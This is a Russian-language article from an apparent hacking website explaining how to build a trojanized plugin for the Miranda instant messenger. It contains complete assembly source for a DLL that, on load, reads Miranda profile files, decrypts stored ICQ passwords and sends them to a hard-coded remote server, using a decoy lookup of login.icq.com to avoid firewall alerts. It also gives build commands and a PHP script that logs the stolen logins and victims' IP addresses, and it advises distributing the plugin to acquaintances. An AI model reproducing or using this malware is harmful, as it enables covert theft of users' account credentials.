| 
 
.::Главная::. Гостевая Hack $oft Video vzlom Статьи Разное Hack Магазин .::Написать::.

.::Протрояниваем миранду::.



Бредисловие

Как многим известно, в миранде существует система плагинов. Плагины бывают разные - синие, зелёные и красные :)
Особенностью плагинов является собственно то, что достаточно поместить плагин в папку plugins миранды и... миранда автоматом ПОПРОБУЕТ его подключить. Этого самого "попробует" нам вполне хватит.
Вся фишка состоит в том, чтобы закинуть в процедуру инициализации немного своего кода :)

Ниже я привиду исходный код программы и её web-части, которая, являясь плагином будет отсылать все пароли, а скрипт будет аккуратно их сохронять.

Собственно сама программа.

; все необходимые данные.
.data
capt db "USER32.dll",0
func db "wsprintfA",0
fnmskM db "*.dat",0
requestdata db "GET /m.php?uin=%u&pass=%s HTTP/1.1",0dh,0ah ; НАПРИМЕР так....
db "Host: www.prodexteam.net",0dh,0ah
db "Connection: Keep-Alive",0dh,0ah,0dh,0ah,0
sockaddrsz dd sizeof sockaddr_in
psevdoicq db "login.icq.com",0

.data?
fdataM db 300 dup (?)
wsaddr dd ?
temppasswd db 50 dup (?)
pathsz dd ?
hFNDM dd ?
hFile1 dd ?
hMAPPS dd ?
szf dd ?
request db 200 dup (?)
wsaA WSADATA
hSockA dd ?
saServer sockaddr_in

.code
DLLEntry proc
xor eax,eax
inc eax
ret 0Ch
DLLEntry endp ; инициализация библиотеки... сюда тоже можно что-нето вставить весёлое.

;==================================================
; Миранда автоматически пытается вызвать эту процедуру из библиотеки. (Если плагин не соответствует, то миранда выгружает его, но к тому времени все пароли будут уже слиты)

MirandaPluginInfo proc
cmp dword ptr [esp+4],10000h
sbb eax,eax
not eax
and eax,2010C2F8h
push eax ;
этот кусок я вырезал из настоящего плагина.
; мой код пошёл...
invoke GetModuleHandle,ADDR capt
invoke GetProcAddress, eax, ADDR func
mov wsaddr,eax ; wsprintfA
; MirandaGetUin

getmirandapass:
invoke WSAStartup,00000101h,offset wsaA
mov saServer.sin_family,AF_INET

invoke FindFirstFile,addr fnmskM,addr fdataM
mov hFNDM,eax
inc eax
jz endsrch123
fnxt92:
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
mov hSockA,eax
; для понта получаем адрес login.icq.com - чтоб firewall'ы cильно не орали.
invoke gethostbyname,addr psevdoicq
mov saServer.sin_addr,0426F642h ; сетевой адрес сайта, на котором висит PHP скрипт. (в данном случае prodexteam.net)
mov saServer.sin_port,5000h ; 80 порт
invoke CreateFile,addr fdataM+44,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
inc eax
jz endsrch123
dec eax
mov hFile1,eax
invoke GetFileSize,eax,0
push eax
invoke CreateFileMapping,hFile1,0,PAGE_READONLY,0,0,0
mov hMAPPS,eax
invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0
mov szf,eax
pop ecx
mov al,"P"
push edi
mov edi,szf
scasag:
repnz scasb
or ecx,ecx
jz nextdat
cmp dword ptr [edi],"wssa"
jne scasag
cmp dword ptr [edi+4],0FF64726Fh
jne scasag
xor ecx,ecx
mov cl,byte ptr [edi+8]
lea edx,[temppasswd+ecx-1]
mov dword ptr [edx],20h
decryptM:
mov al,byte ptr [edi+ecx+9]
sub al,5
mov byte ptr [edx],al
dec edx
loop decryptM
STD
mov al,"N"
mov ecx,edi
sub ecx,szf
dec ecx
dec ecx
scasag1:
repnz scasb
or ecx,ecx
jz nextdat
cmp dword ptr [edi-1],044e4955h
jne scasag1
mov eax,[edi+3]
CLD
push offset temppasswd
push eax
push offset requestdata
push offset request
call wsaddr ; забиваем данные для отправки скрипту в сети
add esp,16
invoke connect,hSockA,addr saServer,sockaddrsz
invoke lstrlen,addr request
or eax,eax
je nextdat
invoke send,hSockA,addr request,eax,0
invoke closesocket,hSockA

nextdat:
invoke UnmapViewOfFile,szf
invoke CloseHandle,hMAPPS
invoke CloseHandle,hFile1
CLD
pop edi
invoke FindNextFile,hFNDM,addr fdataM
or eax,eax
jz endsrch123
cmp eax,18
jnz fnxt92
endsrch123:
invoke FindClose,hFNDM
errormiranda:
pop eax
ret
MirandaPluginInfo endp
;==================================================
end DLLEntry

компилируем всю эту байду -
ml /c /coff plugin.asm
link /SUBSYSTEM:WINDOWS /DLL /DEF:plugin.def plugin.obj

в результате получается библиотека размером 2.5 Kb.
теперь сам скрипт, который будет обрабатывать пришедшую инфу:


<?php
$uin=$_GET['uin'] ;
$pass=$_GET['pass'] ;
$ip=getenv("REMOTE_ADDR");
$uinh=fopen("icquin.htm","a+");
fputs($uinh,"UIN:$uin PASSWORD:$pass IP:$ip
");
fclose($uinh);
exit;
?>

Oстаётся закинуть скрипт на сайт, а плагин раздать знакомым и изредка заглядывать в файл icquins.htm естественно всё вышеописанное это только пример того, что можно сделать... при желании можно например вставить код какого-нето троя.


Заключение.
Получился троян размером 2.5 кило, не имеющий своего EXE, делающий только то, что нужно - ничего лишнего.
Более того - юзверь вообще ничего не заподозрит. После установки плагина единственное, что может произойти, так это то, что файрвол скажет - "Приложение с изменёнными модулями miranda32.exe пытается выйти в интернет". Так кто же не пустит миранду в интернет ??? :)

На этом заканчиваю.





Дизайн и разработка сайта  Project.Lepest "Проект Amega"

© 2000-2005 Все права защищены и охраняются законом.

Сайт управляется системой uCoz